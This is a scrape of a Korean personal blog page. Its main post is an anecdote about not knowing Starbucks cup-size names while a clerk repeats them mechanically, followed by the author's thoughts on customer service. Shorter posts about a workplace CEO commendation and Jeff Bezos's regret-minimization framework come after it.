종업원: XXX, XXX, XXX, XXX 어떤 사이즈로 드릴까요?

(난 스타벅스 커피 사이즈에 대해 아는 것이 전혀 없었다. 물론 관심도 없었다)

: 그냥 중간걸로 주세요

종업원: XXX, XXX, XXX, XXX 어떤 걸로 드릴까요?

(순간 그 종업원이 로봇이 아닌가 의심이 들 정도로 그녀는 앵무새 처럼 같은 말을 반복했다)
(요즘같은 인공지는 시대라면 불가능하지도 않지 않겠는가  ㅜㅜ)

(나는 종업원이 외쳐대는 그 사이즈라는 것이 이름도 쉽지 않았기에...)

: 그냥... 중간 정도 사이즈로 아무거나 주세요

종업원: XXX, XXX, XXX, XXX 중 하나 선택해 주셔야 합니다.

나: ㅜㅜ. (종업원이 앵무새처럼 반복한 그 문장의 가운데에 끼여 있는 사이즈가 중간이겠거니 하고)  XXX로 주세요.

종업원: (커피를 만드는 또 다른 종업원을 향해) 카페라떼 XXX 있습니다~~

---

나는 그 뒤로 스타벅스에 가면, 항상 (그 자리에서 순간적으로 정한) 그 사이즈로만 주문한다.

여전히 다른 사이즈의 이름은 알지 못한다. (여전히 관심도 없다)

간혹 그 사이즈 이름도 잊어먹을까봐 살짝 걱정되기도 한다.

또 한번 종업원에게 내가 스타벅스 커피 사이즈를 모르는 무례(?)를 범하지 않을까 말이다...


그 종업원은 왜 앵무새 같이 고객이 알아 듣지도 못하는 말을 반복하며 정확한 사이즈를 원했을까?

(내가 사이즈를 알지 못한다는 것을 그 종업원도 눈치 챘으리라 본다)


예상컨대, 스타벅스 정도 되니 고객응대 메뉴얼이 있을 것이고 그 메뉴얼대로 했을 것이다.

또는 끊임없이 들어오는 고객의 주문을 받다 보니, 정발로 반 로봇이 되어 기계적인 응대을 했을 수도 있다.

아니면, 스타벅스 커피 사이즈도 모르면서 스타벅스 커피를 먹으러 온 내가 괘씸했거나 ㅋㅋ

...

뭐.. 이유야 어찌 되었건 참으로 아쉽다는 생각이 들었다.

커피 전문점은 서비스 업이다.
그리고 스타벅스는 높은 커피 가격의 명분으로 자신들은 '커피'가 아니라 '문화'를 판다고 그럴싸하게 말한다.

그 종업원이 조금만 더 센스가 있었다면 (아니면 조금만 더 주인의식이 있었다면)
얼빵한(?) 고객의 주문에 좀 더 고객 친화적인 대응을 했을 것이다.

이렇게 말이다.

.....

고객: 그냥 중간걸로 주세요

종업원: (고객이 사이즈는 전혀 모르고 커피만 먹을 줄 안다고 판단이 됨)
          컵 사이즈는 대략 이렇고, 중간 사이즈는 XXX 인데 이걸로 드릴까요?

.....


'일상' 카테고리의 다른 글

책 버리기 2  (0) 2018.02.13
[기술사] 114회 정보관리기술사 기출문제  (0) 2018.02.06
2017년도 CEO 표창  (0) 2018.01.08
후회 최소화 프레임워크  (0) 2017.12.28
2017년 업무 수행 정리  (0) 2017.12.27

2017년도 CEO 표창

Posted in 일상 // Posted at 2018. 1. 8. 08:58
728x90

작년(2016)에 수행했던 프로젝트가 CEO 표창을 받게 되었다.

어플리케이션 아키텍트(AA)로 참여하여, 초반부터 5개월간 투입되어 분석/설계/가이드를 수행한 프로젝트 였다.

초반 아키텍처를 설계할때 이슈도 많았지만, 그만큼 보람된 경험이었다.


후회 최소화 프레임워크

Posted in 일상 // Posted at 2017. 12. 28. 13:05
728x90

제프 베조스의 후회 최소화 프레임워크.

인생은 선택의 연속이다. 

주어진 환경에 그냥저냥 적응해서 살아가기에는 인생이 너무 짧고 중요하다.

누군가 이야기 했다. 사람들이 선택하지 못하는 것은 지금 가진 것을 포기하지 못해서라고...

제프 베조스의 후회 최소화 프레임워크는 선택을 위한 기본 방향을 제시해 준다.


영리함은 재능이고 친절함은 선택이다. 재능은 쉽다. 어찌됐든 주어진 것이다. 선택은 어렵다.”         

여러분이 80세가 되어 자기 인생을 가장 개인적인 관점에서 조용히 돌이켜 볼 때, 가장 간결하고 의미있는 이야기는 여러분이 한 일련의 선택이 될 것이다. 결국 우리는 우리가 한 선택의 결과다.

​- 제프 베조스 (아마존 CEO)


http://www.ttimes.co.kr/view.html?no=2017072816067752817 




'일상' 카테고리의 다른 글

얼빵한 고객과 기계적인 종업원  (0) 2018.01.13
2017년도 CEO 표창  (0) 2018.01.08
2017년 업무 수행 정리  (0) 2017.12.27
[기술사] 철지난 합격수기  (1) 2017.12.22
글을 쓰려면...  (0) 2017.12.22